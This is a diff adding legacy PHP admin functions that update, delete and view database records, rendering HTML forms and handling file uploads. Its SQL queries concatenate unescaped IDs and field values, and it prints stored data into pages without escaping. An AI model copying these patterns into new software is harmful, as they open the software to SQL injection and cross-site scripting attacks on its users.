+ $comma = ",";
+ }
+
+ break;
+
+ case "TRUE":
+ case "SUPPLIED":
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "file":
+
+ // Note that the file field is only updated when required so field name is set below along with value
+
+ $out[$outcount]["value"] = "FILES Not Available for View at this time";
+
+ // Check if file type is specified and if so does it match
+
+ if( isset( $f[1] ) && ($GLOBALS[$field[4]."_name"] != "") && !eregi( ".".$f[1]."$",$GLOBALS[$field[4]."_name"]) )
+ {
+ $not_supplied .= $field_title_only.': "'.$GLOBALS[$field[4]."_name"].'" is not correct file type. Must be: '.$f[1]."<BR>";
+ break;
+ }
+
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $problem .= '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for file input</FONT>';
+ break;
+
+ case "TRUE":
+
+ // If no file is supplied and there's no file in the database
+
+ if( $GLOBALS[$field[4]."_name"] == "" && $data[$field[0]] == "" )
+ {
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ break;
+ }
+
+ // If new file is supplied, replace old one
+ if( $GLOBALS[$field[4]."_name"] != "" )
+ {
+ if( $data[$field[0]] != "" )
+ file_delete( $data[$field[0]] );
+ $qs .= $comma." ".$field[0]." = '".file_upload( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+ $comma = ",";
+ }
+ break;
+
+ case "FALSE":
+
+ // If new file is supplied, store it
+
+ if( $GLOBALS[$field[4]."_name"] != "" )
+ {
+ if( $data[$field[0]] ) // If there's already a file, delete it before storing the new one
+ file_delete( $data[$field[0]] );
+ $qs .= $comma." ".$field[0]." = '".file_upload( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+ $comma = ",";
+ }
+ // Else, if there's a file in the database and we're deleting
+ elseif( $data[$field[0]] != "" && isset($GLOBALS[$field[0]."_DELETE"]) )
+ {
+ file_delete( $data[$field[0]] );
+ $qs .= $comma." ".$field[0]." = ''"; // Clear file name in database
+ $comma = ",";
+ }
+
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+
+ case "checkbox":
+ // Doesn't matter whether it's required or not, or whatever
+ $qs .= $comma." ".$field[0]." = "; // Add field name to update to query string
+ $comma = ",";
+ if( $GLOBALS[$field[4]] == "on" )
+ {
+ $out[$outcount]["value"] = "Yes";
+ $qs .= "TRUE";
+ }
+ else
+ {
+ $out[$outcount]["value"] = "No";
+ $qs .= "FALSE";
+ }
+ break;
+
+
+ case "bitmap":
+ $out[$outcount]["value"] = "Bitmaps not available for view at this time";
+ $qs .= $comma." ".$field[0]." = "; // Add field name to update to query string
+ $comma = ",";
+ $b = 0; // Start with clear bitmap
+ for( $i=0 ; $i<SI_INT_SIZE ; $i++ ) // Bitmaps are based on the size of an integer
+ {
+ if( isset($GLOBALS[$field[4]][$i]) && $GLOBALS[$field[4]][$i] == "on" ) // If checked
+ $b = $b + pow(2,$i); // Set bit
+ }
+
+ $qs .= $b;
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$field[1].' for '.$field[0].'</FONT><BR>';
+ break;
+
+ } // switch( field )
+
+ $outcount++;
+ } // foreach( field )
+
+ }
+ else
+ {
+ $ret .= ' <CENTER>(Record not found)</CENTER>
+ <P>
+ ';
+ return( array( 'text' => $ret, 'status' => false ) );
+ }
+
+ if( !empty($not_supplied) )
+ {
+ $result .= ' <H2>Required fields not supplied</H2><P>
+ <FONT COLOR="red">'.$not_supplied.'</FONT><P>
+ Use "BACK" button on browser, add missing data and resubmit.<P>
+ ';
+ $update_record = false;
+ }
+
+ if( !empty($problem) )
+ {
+ $result .= $problem.'<P>
+ Use "BACK" button on browser, correct problem field, and resubmit.<P>
+ ';
+ $update_record = false;
+ }
+
+ if( $update_record && $qs != '' )
+ {
+ $qs = "UPDATE $table SET $qs WHERE id = $id;";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_update_record()[".__LINE__."]: Update record = $qs</PRE><BR>";
+ db_auto_exec( $qs, $conn_str, FALSE );
+ $result .= '<P><H2>Data updated.</H2><P>';
+ }
+
+ // Replace parameters in Title
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+ $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+ }
+
+ $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+ $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+ $a_title = ereg_replace( "\\{result\\}", $result, $a_title );
+
+ // Add QuickTip if provided
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+ // Display top of page
+
+ $ret .= '<CENTER>
+ '.$a_title."\n";
+
+ if( empty($view) ) // If there's no spec in $view
+ $ret .= $result;
+ else
+ {
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+ $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+ }
+ $view = ereg_replace( "\\{999\\}", $out[999]["value"], $view );
+ $view= ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+ $view = ereg_replace( "\\{result\\}", $result, $view );
+ $ret .= $view;
+ }
+
+ $ret .= '
+ </CENTER>
+ ';
+
+ return( array( 'text' => $ret, 'status' => $update_record ) );
+
+}
+
+function admin_update_record( $table, $conn_str, $id, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+ $r = admin_update_record_r( $table, $conn_str, $id, $fields, $url, $action, $params, $a_title, $view, $quick_tip );
+ echo $r['text'];
+ return( $r['status'] );
+}
+
+
+
+
+ // Ask for the deletion of a record
+
+function admin_delete_record_r( $table, $conn_str, $id, $fields,
+ $options, $url, $action, $params, $a_title, $view="", $quick_tip="" )
+{
+
+ $ret = '';
+
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ foreach( $field_table as $key => $r )
+ $field_table[$key] = explode_trim( ",", $r );
+
+ // Check for additional parameters that are passed
+
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+ $link_params = $form_params = "";
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+ // Scan options
+
+ $option_strong = FALSE;
+ if( !empty($options) )
+ {
+ $option_table = explode_trim( ",", $options );
+ foreach( $option_table as $option )
+ switch( $option )
+ {
+ case "strong":
+ $option_strong = TRUE;
+ break;
+
+ default:
+// $ret .= '<H2><FONT COLOR="red">ERROR: Illegal Option Specified</FONT></H2>';
+ break;
+ }
+ }
+
+
+ // Get the data
+
+ $query_string = "SELECT * FROM ".$table." WHERE id = $id;";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_delete_record()[".__LINE__."]: Record to delete = $query_string</PRE><BR>";
+ $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+ $problem = '';
+
+ if( $data )
+ {
+
+ // For each field in the result
+
+ $outcount = 0; // replaceable field data table pointer
+ foreach( $field_table as $field )
+ {
+ $f2 = explode_trim( "~", $field[2] );
+ $out[$outcount]["name"] = $f2[0];
+ $out[$outcount]["display"] = $field[3] != "HIDDEN" ? TRUE : FALSE;
+ $f = explode_trim( ".", $field[1] ); // Extract type options
+ switch( $f[0] )
+ {
+ // Check other tables for references to this record
+
+ case "check":
+ if( $f[1] == '' || $f[2] == '' )
+ {
+ $problem .= '<FONT COLOR="red">'.$field[0].': Table or Field name not supplied for reference check.</FONT><BR>';
+ break;
+ }
+ if( ($c = db_auto_get_row( "SELECT count(".$f[2].") FROM ".$f[1]." WHERE ".$f[2]." = $id;" )) && $c['count'] > 0 )
+ {
+ $problem .= '<FONT COLOR="red">This reccord is referenced '.$c['count'].' time(s) by "'.$f2[0].'". Delete References first.</FONT><BR>';
+ break;
+ }
+
+ break;
+
+ case "money":
+ $out[$outcount]["value"] = "$".sprintf( "%01.2f", $data[$field[0]] );
+ break;
+
+ case "order":
+ case "int":
+ case "float":
+ case "fixed":
+ $out[$outcount]["value"] = $data[$field[0]];
+ break;
+
+ case "checkbox":
+ $out[$outcount]["value"] = $data[$field[0]] == 't' ? 'Yes' : 'No';
+ break;
+
+ case "password":
+ $out[$outcount]["value"] = '(hidden)';
+ break;
+
+ case "text":
+ case "inet":
+ case "state":
+ case "country":
+ case "textbox":
+ case "richtext":
+ case "date":
+ $out[$outcount]["value"] = $data[$field[0]];
+ break;
+
+ case "checkbox":
+ $out[$outcount]["value"] = $data[$field[0]] == "t" ? "Yes" : "No" ;
+ break;
+ case "url":
+ $out[$outcount]["value"] = '<A HREF="'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+ break;
+
+ case "category":
+ // Get the category name for this field if supplied
+ if( !empty($data[$field[0]]) )
+ {
+ if( $cval = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$data[$field[0]].";", 0, $conn_str, FALSE ) )
+ $out[$outcount]["value"] = $cval['name'];
+ else
+ $out[$outcount]["value"] = '<FONT COLOR="red">Unknown Category</FONT>';
+ }
+ else
+ {
+ $out[$outcount]["value"] = " ";
+ }
+ break;
+
+ case "pointer":
+ // If {value_field} supplied use that, otherwise use id of record as value to match
+ $value_field = !empty($f[3]) ? $f[3] : "id" ;
+
+ // If {where} supplied use that, otherwise get all possibilities from other table
+ $w = !empty($f[4]) ? " WHERE ".$f[4] : " WHERE ".$value_field." = ".$data[$field[0]] ;
+
+ $pval = db_auto_get_row(
+ "SELECT * FROM ".$f[1].$w.";",
+ 0, $conn_str, $fail_mode );
+ $out[$outcount]["value"] = $pval[$f[2]];
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+ break;
+
+ } // switch( field )
+ $outcount++;
+ } // foreach( field )
+
+ // Confirm field and Submit button go into {submit}
+
+ if( $option_strong )
+ $submit = '<BR>
+ To confirm, type "Delete" below.<BR>
+ <FORM ACTION="'.$url.'" METHOD="post">
+ <INPUT TYPE="hidden" NAME="id" VALUE="'.$id.'">
+ <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+ <INPUT TYPE="text" NAME="Confirm"><BR>
+ <INPUT TYPE="hidden" NAME="Option" VALUE="Confirm Delete">
+ <INPUT TYPE="submit" NAME="usingHiddenOption" VALUE="Confirm Delete">
+ '.$form_params.'
+ </FORM>
+ ';
+ else
+ $submit = '
+ <FORM ACTION="'.$url.'" METHOD="post">
+ <INPUT TYPE="hidden" NAME="id" VALUE="'.$id.'">
+ <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+ <INPUT TYPE="hidden" NAME="Confirm" VALUE="Delete"><BR>
+ <INPUT TYPE="hidden" NAME="Option" VALUE="Confirm Delete">
+ <INPUT TYPE="submit" NAME="usingHiddenOption" VALUE="Confirm Delete">
+ '.$form_params.'
+ </FORM>
+ ';
+
+ // Replace parameters in Title
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+ $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+ }
+
+ $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+ $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+ $a_title = ereg_replace( "\\{submit\\}", $submit, $a_title );
+ $a_title = ereg_replace( "\\{result\\}", $result, $a_title );
+
+
+ // Add QuickTip if provided
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+
+ // Output results
+
+ if( empty($view) ) // If there's no format spec in $view
+ {
+ $ret .= '<CENTER>'.$a_title.'
+ <P>
+ <H2>Are you sure you want to delete this information?</H2>
+ <TABLE BORDER="1">
+ ';
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ if( $out[$i]["display"] )
+ $ret .= '<TR><TH ALIGN="right" VALIGN="top">'.$out[$i]["name"]
+ .' </TH><TD ALIGN="left">'.$out[$i]["value"].' </TD></TR>
+ ';
+ }
+ $ret .= ' <P>
+ </TABLE>'.$submit; // Output the Confirm field and submit button
+
+ }
+ else // Otherwise use $view to output data
+ {
+ for( $i=0 ; $i<$i ; $i++ )
+ {
+ $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+ $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+ }
+ $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+ $view = ereg_replace( "\\{submit\\}", $submit, $view );
+ $view = ereg_replace( "\\{result\\}", $result, $view );
+ $ret .= '<CENTER>'.$a_title.$view;
+ }
+
+ if( $problem != '' )
+ {
+ $ret = '<CENTER>'.$a_title.$problem.'</CENTER>';
+ return( array( 'text' => $ret, 'status' => false ) );
+ }
+
+ } // if( $data )
+ else
+ $ret .= ' <CENTER>(No results found)</CENTER>
+ <P>
+ ';
+
+
+
+ $ret .= '</CENTER>
+ ';
+
+ return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+function admin_delete_record( $table, $conn_str, $id, $fields,
+ $options, $url, $action, $params, $a_title, $view="", $quick_tip="" )
+{
+ $r = admin_delete_record_r( $table, $conn_str, $id, $fields,
+ $options, $url, $action, $params, $a_title, $view, $quick_tip );
+ echo $r['text'];
+ return( $r['status'] );
+}
+
+
+ // Delete a record if confirmed
+
+function admin_confirm_delete_record_r( $table, $conn_str, $id, $fields, $url,
+ $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+
+ $ret = '';
+
+ // Make all submitted parameters available
+
+// extract($GLOBALS[HTTP_POST_VARS]);
+// extract($GLOBALS[HTTP_GET_VARS]);
+
+ // Check for additional parameters that are passed
+
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+
+ $link_params = $form_params = "";
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+ // Check "Confirm" field for correct text
+
+ $result = "";
+ $delete_record = TRUE; // Assume that we're going to delete this record
+ if( $GLOBALS['Confirm'] == "Delete" )
+ {
+
+ // Get the current data for reference and to make sure it exists
+
+ $query_string = "SELECT * FROM $table WHERE id = $id;";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_confirm_delete_record()[".__LINE__."]: Record to delete = $query_string</PRE><BR>";
+ $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+
+ // Separate field title from QuickTip in case we need it
+ $fta = explode_trim( "~", $field[2] );
+ $field_title_only = $fta[0];
+
+
+ if( $data )
+ {
+
+ $not_delete_message = "";
+
+ if( trim($fields) != "" ) // If there's any check fields
+ {
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ foreach( $field_table as $key => $r )
+ $field_table[$key] = explode_trim( ",", $r );
+
+ // For each check field specified
+
+ foreach( $field_table as $field )
+ {
+ $f = explode_trim( ".", $field[1] );
+ switch( $f[0] )
+ {
+ case "reference": // Check to see if this record is referenced
+ if( db_auto_get_row( "SELECT id FROM ".$f[1]." WHERE ".$f[2]." = $id;", 0, $conn_str, $fail_mode ) )
+ {
+ $result .= '<FONT COLOR="red">Can\'t delete this information. You must delete '.$field[2].' first.</FONT><BR>';
+ $delete_record = FALSE;
+ }
+ break;
+
+ case "image":
+ delete_image( $data[$field[0]] );
+ break;
+
+ default:
+ $result .= '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT><BR>';
+ $delete_record = FALSE;
+ break;
+
+ } // switch( field )
+
+ } // foreach( field )
+ }
+ } // if data
+ else
+ {
+ $result .= '<H2><FONT COLOR="red">Record not found</FONT></H2><BR>';
+ $delete_record = FALSE;
+ }
+
+
+ } // if Confirm
+ else
+ {
+ $result .= '<H2>Delete <FONT COLOR="red">NOT</FONT> Confirmed.</H2>';
+ $delete_record = FALSE;
+ }
+
+
+ if( $delete_record )
+ {
+ $qs = "DELETE FROM ".$table." WHERE id = ".$id.";";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_confirm_delete_record()[".__LINE__."]: Delete Record = $qs</PRE><BR>";
+ db_auto_exec( $qs, $conn_str, FALSE );
+ $result .= '<P><H2>Record Deleted.</H2>';
+ }
+ else
+ $result .= '<P><H2>Not deleting this record</H2><P>
+ <FONT COLOR="red" SIZE="4">'.$not_delete_message.'</FONT><P>
+ ';
+
+ // Make replacements in $a_title
+
+ $a_title = ereg_replace( "\\{result\\}", $result, $a_title );
+ $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+ $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+
+ // Add QuickTip if provided
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+ // Display top of page
+
+ $ret .= '<CENTER>
+ '.$a_title.'
+ ';
+
+ if( empty($view) )
+ $ret .= $result;
+ else
+ {
+ $view = ereg_replace( "\\{result\\}", $result, $view );
+ $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+ $ret .= $view;
+ }
+
+ $ret .= '
+ </CENTER>
+ ';
+
+
+ return( array( 'text' => $ret, 'status' => $delete_record ) );
+
+
+}
+
+function admin_confirm_delete_record( $table, $conn_str, $id, $fields, $url,
+ $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+ $r = admin_confirm_delete_record_r( $table, $conn_str, $id, $fields, $url,
+ $action, $params, $a_title, $view, $quick_tip );
+ echo $r['text'];
+ return( $r['status'] );
+}
+
+
+
+
+ // View the data in a record
+
+function admin_view_record_r( $table, $conn_str, $id, $fields,
+ $url, $action, $params, $a_title, $view="", $options = "", $quick_tip = "", $id_field = '' )
+{
+
+ $ret = '';
+
+ if( empty($id_field) )
+ $id_field = 'id';
+
+ // Check for any options
+
+ $borders = strstr( $options, "borders" ) ? 1 : 0; // Show table borders
+ $nocenter = strstr( $options, "nocenter" ) ? 1 : 0; // Don't output <center></center> tags around content
+
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ // Check for additional parameters that are passed
+
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+ $link_params = $form_params = "";
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+ // Get the data
+
+ $qs = "SELECT * FROM $table WHERE ".$id_field." = $id;";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_view_record()[".__LINE__."]: View Record = $qs</PRE><BR>";
+ $data = db_auto_get_row( $qs, 0, $conn_str, $fail_mode );
+
+ if( $data )
+ {
+ // For each field in the result
+
+ for( $res_field=0 ; $res_field<count($field_table) ; $res_field++ )
+ {
+ $field = explode_trim( ",", $field_table[$res_field] );
+ $f = explode_trim( ".", $field[1] );
+ $out[$res_field]["hidden"] = ereg( "hidden", $field_table[$res_field] ); // Check for .hidden
+
+ // Check for pop-up-tips
+
+ $n = explode_trim( '~', $field[2] );
+ if( count($n) > 1 )
+ {
+ // setup tip display - requires show_QuickTip() and hide_QuickTip() functions from java_functions.js
+
+ $out[$res_field]["name"] = quick_tip( '<font color="'.$field_name_color.'">'.$n[0].'</font>', $n[1] );
+ }
+ else
+ $out[$res_field]["name"] = $field[2];
+
+ $out[$res_field]['field'] = $field[0];
+
+ switch( $f[0] )
+ {
+
+ case "lat":
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'N';
+ if( $data[$field[0]] < 0 )
+ {
+ $ns = 'S';
+ $data[$field[0]] = -1 * $data[$field[0]];
+ }
+ $dv = (int) $data[$field[0]];
+ $mv = ( $data[$field[0]] - $dv ) * 60;
+ $out[$res_field]["value"] = sprintf( "%s %d° %01.".$fw."f'", $ns, $dv, $mv );
+ break;
+
+ case "lon":
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'E';
+ if( $data[$field[0]] < 0 )
+ {
+ $ns = 'W';
+ $data[$field[0]] = -1 * $data[$field[0]];
+ }
+ $dv = (int) $data[$field[0]];
+ $mv = ( $data[$field[0]] - $dv ) * 60;
+ $out[$res_field]["value"] = sprintf( "%s %d° %01.".$fw."f'", $ns, $dv, $mv );
+ break;
+
+ case "money":
+ $out[$res_field]["value"] = "$".sprintf( "%01.2f", $data[$field[0]] );
+ break;
+
+ case "fixed":
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $out[$res_field]["value"] = sprintf( "%01.".$fw."f", $data[$field[0]] );
+ break;
+
+ case "password":
+ $out[$res_field]["value"] = '(hidden)';
+ break;
+
+ case "text":
+ case "inet":
+ case "textbox":
+ case "richtext":
+ $out[$res_field]["value"] = nl2br( $data[$field[0]] );
+ break;
+
+ case "rawtext":
+ $out[$res_field]["value"] = $data[$field[0]];
+ break;
+
+ case "order":
+ case "int":
+ case "date":
+ case "float":
+ $out[$res_field]["value"] = $data[$field[0]];
+ break;
+
+ case "url":
+ $out[$res_field]["value"] = '<A HREF="'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+ break;
+
+ case "category":
+ // Get the category name for this field is supplied
+ if( !empty($data[$field[0]]) )
+ {
+ if( $cval = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$data[$field[0]].";", 0, $conn_str, FALSE ) )
+ $out[$res_field]["value"] = $cval['name'];
+ else
+ $out[$res_field]["value"] = '<FONT COLOR="red">Unknown Category</FONT>';
+ }
+ else
+ {
+ $out[$res_field]["value"] = " ";
+ }
+ break;
+
+ case "pointer":
+
+ if( !empty($data[$field[0]]) )
+ {
+ // If {where} supplied use that, otherwise match "id" field
+ $w = !empty($f[4]) ? " WHERE ".$f[4] : " WHERE id = ".$data[$field[0]] ;
+ $comma = '';
+ $ref_fields = explode_trim( "~", $f[2] ); // Separate all fields to display
+ $ref_select = $sep = '';
+ foreach( $ref_fields as $ref_field ) // Build fields spec for SELECT
+ {
+ $ref_select .= $sep.$ref_field;
+ $sep = ',';
+ }
+ $out[$res_field]["value"] = '';
+ if( ($pvals = db_auto_get_data( "SELECT $ref_select FROM ".$f[1].$w.";", $conn_str, $fail_mode )) )
+ {
+ foreach( $pvals as $pval )
+ {
+ $out[$res_field]["value"] .= $comma;
+ $ref_space = '';
+ foreach( $ref_fields as $ref_field ) // Put together all fields referenced as output
+ {
+ $out[$res_field]["value"] .= $ref_space.$pval[$ref_field];
+ $ref_space = ' ';
+ }
+ $comma = ', ';
+ }
+ }
+ else
+ $out[$res_field]["value"] = '';
+ }
+ else
+ $out[$res_field]["value"] = '';
+
+ break;
+
+ case "multifield": // NOT TESTED multitext.numb_fields.new_line_string
+
+ if( trim($f[2]) == '' )
+ {
+ $out[$res_field]["value"] = '<FONT COLOR="RED">Missing multifield line specification</FONT>';
+ break;
+ }
+
+ $v = '';
+
+
+ // If there's data, then build existing input lines with data
+ if( ( $x = trim($data[$field[0]]) ) != '' )
+ {
+ $field_data = unserialize( $data[$field[0]] );
+
+ if( $field_data != false && is_array( $field_data ) )
+ {
+
+ // For each line of inputs
+ for( $i=1 ; $i<=count($field_data) ; $i++ )
+ {
+ $f_line = str_replace( '{line_numb}', ($i), $f[2] ); // Set line number in output text
+ // For each input field on the line
+
+ for( $j=1 ; $j<=$f[1] ; $j++ )
+ $f_line = str_replace( '{field_'.($j).'}', $field_data[$i-1][$j-1], $f_line );
+
+ $v .= $f_line;
+
+ }
+ }
+ }
+
+ $out[$res_field]["value"] = $v;
+
+ break;
+
+
+ case "image":
+ if( !empty($data[$field[0]]) )
+ {
+ switch( $f[1] )
+ {
+ case "o": $img_url = SI_IMG_ORIGINAL_URL; break;
+ case "r": $img_url = SI_IMG_RESIZED_URL; break;
+ case "m": $img_url = SI_IMG_MIDSIZED_URL; break;
+ case "t": $img_url = SI_IMG_THUMB_URL; break;
+ default: $img_url = "none"; break;
+ }
+ if( $img_url != "none" )
+ $out[$res_field]["value"] = '<IMG SRC="'.$img_url."/".$data[$field[0]].'">';
+ else
+ $out[$res_field]["value"] = '<FONT COLOR="RED">Invalid Image Size</FONT>';
+ }
+ else
+ $out[$res_field]["value"] = '(no image)';
+ break;
+
+ case "images":
+ if( !empty($data[$field[0]]) )
+ {
+ if( $img_url != "none" )
+ {
+ $images = unserialize( $data[$field[0]] );
+ foreach( $images as $im )
+ {
+ switch( !empty($im['size']) ? $im['size'] : $f[1] )
+ {
+ case "o": $img_url = SI_IMG_ORIGINAL_URL; break;
+ case "r": $img_url = SI_IMG_RESIZED_URL; break;
+ case "m": $img_url = SI_IMG_MIDSIZED_URL; break;
+ case "t": $img_url = SI_IMG_THUMB_URL; break;
+ default: $img_url = "none"; break;
+ }
+ $out[$res_field]["value"] = '<IMG SRC="'.$img_url."/".$im['filename'].'"><BR>'.$im['descr'];
+ }
+ }
+ else
+ $out[$res_field]["value"] = '<FONT COLOR="RED">Invalid Image Size</FONT>';
+ }
+ else
+ $out[$res_field]["value"] = '(no image)';
+ break;
+
+ case "file":
+ if( ereg( 'secure', $f[2] ) )
+ {
+ if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+ {
+ echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+ SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+ exit;
+ }
+ $file_md5 = md5( $data[$field[0]].SI_FILE_SECRET );
+ $out[$res_field]["value"] = '<A HREF="'.SI_BASE_URL.'/glm_apps/file_output_secure.phtml?filename='.urlencode($data[$field[0]])
+ .'&md5='.$file_md5.'&path='.urlencode($f[1]).'">'.$data[$field[0]].'</A>';
+ }
+ else
+ $out[$res_field]["value"] = '<A HREF="'.SI_BASE_FILE_URL.'/'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+ break;
+
+
+ case "checkbox":
+ $x = $data[$field[0]] == "t" ? "Yes" : "No";
+ $out[$res_field]["value"] = $x;
+ break;
+
+ case "bitmap":
+ $bmap = explode_trim( "~", $f[1] );
+ $out[$res_field]["value"] = '<TABLE BORDER="0">';
+ for( $j=0 ; $j<count($bmap) ; $j++ )
+ if( $bmap[$j] != ' ' )
+ {
+ $d = $data[$field[0]] & pow( 2, $j ) ? "Yes" : "No"; // Check if this bit set
+ $out[$res_field]["value"] .= '<TR><TD>'.$bmap[$j].'</TD><TD>'.$d.'</TD></TR>';
+ }
+ $out[$res_field]["value"] .= '</TABLE>';
+ break;
+
+ case "list":
+ $option_table = "";
+ $opts = explode_trim( "~", $f[1] ); // Separate list options
+ $def_value = !empty($f[2]) ? $f[2] : "" ;
+ foreach( $opts as $opt )
+ {
+ $os = explode_trim( "^", $opt ); // Separate value from displayed text
+ $option_table[$os[0]] = $os[1];
+ }
+ // In case there's multiple options, display results of all selected options with comma separators
+ $x = explode( '~', $data[$field[0]] );
+ $out[$res_field]["value"] = $sep = '';
+ if( is_array($x) )
+ foreach( $x as $y )
+ {
+ $out[$res_field]["value"] .= $sep.$option_table[$y];
+ $sep = ', ';
+ }
+ break;
+
+ case "state":
+ $out[$res_field]["value"] = $GLOBALS['si_states_array'][$data[$field[0]]];
+ break;
+
+ case "country":
+ $out[$res_field]["value"] = $GLOBALS['si_countries_array'][$data[$field[0]]];
+ break;
+
+ case "break":
+ if( !empty($f[1]) ) // if {t1} is supplied
+ $out[$res_field]["value"] = $f[1];
+ else
+ $out[$res_field]["value"] = '<FONT COLOR="red">No break name or {text} supplied for type "break"</FONT>';
+ break;
+
+ default:
+ $out[$res_field]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$x[0].' for '.$f[0].'</FONT>';
+ break;
+
+ } // switch( field type )
+ } // foreach( field )
+
+ } // if( $data )
+ else
+ {
+ return( array( 'text' => 'No Data Found', 'status' => false ) );
+ }
+
+ // Replace parameters in title and view
+
+ reset( $out );
+ while( list ($k, $v) = each($out) )
+ {
+ $a_title = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $a_title );
+ $view = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $view );
+ $a_title = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $a_title );
+ $view = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $view );
+ }
+
+ $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
